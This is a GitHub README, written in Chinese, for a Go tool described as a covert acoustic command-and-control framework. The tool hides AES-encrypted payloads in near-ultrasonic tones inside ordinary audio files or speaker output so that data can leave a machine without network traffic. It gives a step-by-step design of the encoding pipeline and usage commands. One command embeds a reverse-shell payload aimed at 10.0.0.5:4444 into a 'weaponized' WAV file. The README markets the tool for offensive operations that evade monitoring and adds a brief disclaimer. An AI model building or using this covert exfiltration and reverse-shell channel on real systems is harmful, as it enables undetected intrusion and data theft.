fionaadrelia7-Slave/whispernet-go

GitHub: fionaadrelia7-Slave/whispernet-go

一款纯 Go 实现的隐蔽声学 C2 框架,通过近超声波调制将加密 payload 嵌入音频载体实现零网络流量的数据传输。

Stars: 2 | Forks: 0

# 🎀 WhisperNet Go (Project BUlly) ✨ ![Go](https://img.shields.io/badge/Language-Go-00ADD8?style=flat-square&logo=go) ![Platform](https://img.shields.io/badge/Platform-Cross--platform-lightgray?style=flat-square) ![Type](https://img.shields.io/badge/Type-C2%20Framework-red?style=flat-square) ![Dependencies](https://img.shields.io/badge/Dependencies-None-brightgreen?style=flat-square) 一个可爱却致命的隐蔽声学 Command & Control (C2) 框架,完全使用 Go 编写 💅🏻 WhisperNet 通过将高频(18.5kHz - 19.5kHz)超声波编码到普通媒体文件(WAV、MP3、MP4)中或通过物理扬声器广播,来进行 payload 的渗漏与传输,从而完全绕过传统的网络监控工具。零网络流量,零怀疑。🤫 ## 📑 目录 - [📌 项目概述](#-project-overview) - [📂 仓库目录树](#-repository-tree) - [✨ 功能特性](#-features) - [💌 神奇的连接方式](#-how-the-magic-connects) - [🛠️ 开始安装吧!](#️-lets-set-it-up) - [🔒 免责声明](#-disclaimer) ## 📌 项目概述 - **作者**:Fiona Adrelia - **项目类型**:隐蔽声学 Command & Control (C2) 框架 / 隐写术 - **编程语言**:Go (Golang) - **支持的操作系统**:跨平台 (Linux, Windows, macOS) - **依赖**:无(可编译为单一静态二进制文件) ## 📂 仓库目录树 ``` whispernet-go/ ├── cmd/ │ └── whispernet/ │ └── main.go ├── pkg/ │ ├── crypto/ │ │ ├── cipher.go │ │ └── crypto_test.go │ └── embed/ │ ├── encoder.go │ └── wav.go ├── cover.wav ├── exfil.wav └── README.md ``` ## ✨ 功能特性 - **无 Python 依赖**:单一静态 Go 二进制文件(`whispernet`)。零环境占用。🌸 - **不可闻遥测**:在人类听觉和大多数标准麦克风设置完全无法察觉的频段上使用 FSK 调制。🦇 - **军用级加密**:AES-256-GCM 认证加密,配合随机填充以实现深度混淆。🛡️ - **极度隐蔽**:专为红队和攻击性作战设计。他们根本防不胜防,因为他们确确实实听不到它。💋 ## 💌 神奇的连接方式 关于 payload 注入流程的绝对内幕就在这里!☕️ ``` graph TD %% 🎀 Aesthetic & Girly Styling classDef core fill:#ffe4e1,stroke:#ffb6c1,stroke-width:2px,color:#b03060 classDef crypto fill:#e0b0ff,stroke:#dda0dd,stroke-width:2px,color:#4b0082 classDef audio fill:#e0ffff,stroke:#afeeee,stroke-width:2px,color:#008080 classDef output fill:#fff0f5,stroke:#ffb6c1,stroke-width:2px,color:#c71585 classDef signal fill:#f5fffa,stroke:#3cb371,stroke-width:2px,color:#2e8b57 classDef data fill:#fffacd,stroke:#f0e68c,stroke-width:2px,color:#8b8b00 subgraph LayerInput [😈 Phase 1: Input & C2 Entry] PAYLOAD[[Raw Payload / Command]]:::core CLI([🌸 WhisperNet CLI Interface]):::core end subgraph LayerCrypto [🔐 Phase 2: Cryptographic Obfuscation] KEY[(AES-256 Key)]:::crypto NONCE{{16-byte Random IV}}:::crypto PAD{{1-32 byte Random Padding}}:::crypto AES{AES-256-GCM Engine}:::crypto BLOB[/Encrypted Blob\nPadSize|Pad|IV|Ciphertext|Tag/]:::crypto end subgraph LayerEncoding [⚙️ Phase 3: Telemetry & Error Correction] B2B((Byte-to-Bit Conversion)):::data LEN{{16-bit Length Prefix}}:::data PRE{{Sync Preamble\n101010101111000010101010}}:::data ECC{3x Redundancy Repetition}:::data FRAME[/Data Frame/]:::data end subgraph LayerModulation [🎶 Phase 4: Acoustic Modulation] FSK{FSK Modulator}:::signal F0((Freq0: 18.5kHz)):::signal F1((Freq1: 19.5kHz)):::signal WND{{Hanning-style Windowing\nfor Smooth Transitions}}:::signal PCM_OUT[/Int16 PCM Samples/]:::signal end subgraph LayerCarrier [🌊 Phase 5: Carrier Injection] COVER[(🎵 Cover Audio\n44.1kHz / 48.0kHz)]:::audio DEC((WAV Decoder\nExtract PCM)):::audio MIX{Audio Mixer\nSignal Addition + Clipping Prev}:::audio ENC((WAV Encoder)):::audio EXFIL[(🎀 Weaponized exfil.wav)]:::output end %% Connections PAYLOAD -->|Parsed via args| CLI CLI -->|Init Cipher| AES KEY -->|Loaded| AES NONCE -->|Injected| AES PAYLOAD -->|Plaintext| AES AES -->|Produces| BLOB PAD -.->|Prepended to| BLOB BLOB --> B2B B2B -->|Raw Bits| LEN LEN -->|Prepended| ECC ECC -->|Bit * 3| PRE PRE -->|Prepended| FRAME FRAME -->|Bitstream| FSK F0 -.->|Bit 0| FSK F1 -.->|Bit 1| FSK FSK --> WND WND -->|Normalized| PCM_OUT COVER --> DEC DEC -->|Host PCM Buffer| MIX PCM_OUT -->|Ultrasonic Signal| MIX MIX -->|Mixed PCM Buffer| ENC ENC -->|Write| EXFIL ``` ## 🛠️ 开始安装吧! 拿杯冰抹茶 🍵,打开你的终端,让我们来编译这个小可爱! **第 1 步:生成你的秘密密钥 🗝️** ``` ./bin/whispernet -action keygen ``` *(保管好它,亲爱的!稍后你需要它来解密渗漏的数据)* **第 2 步:将 payload 嵌入到载体中 🎀** 取任意普通音频文件(`cover.wav`)并嵌入你的反弹 shell 命令或 payload。 ``` ./bin/whispernet -action embed \ -payload "cmd:reverse_shell 10.0.0.5 4444" \ -in cover.wav \ -out exfil.wav \ -key ``` 输出的 `exfil.wav` 听起来会和 `cover.wav` 完全一样,但包含了隐藏的超声波 C2 信标。这就是所谓的“无形刺客”。💅🏻 ## 🔒 免责声明 🚨 **仅供教育和授权的红队用途。** 🚨 此工具包是为合法的安全研究而开发的。请勿在未经明确授权的环境中使用。保持可爱,保持合法。🌸
标签:C2框架, EVTX分析, Go, Ruby工具, 声学隐写, 安全学习资源, 数据窃取, 日志审计, 网络信息收集, 隐蔽通信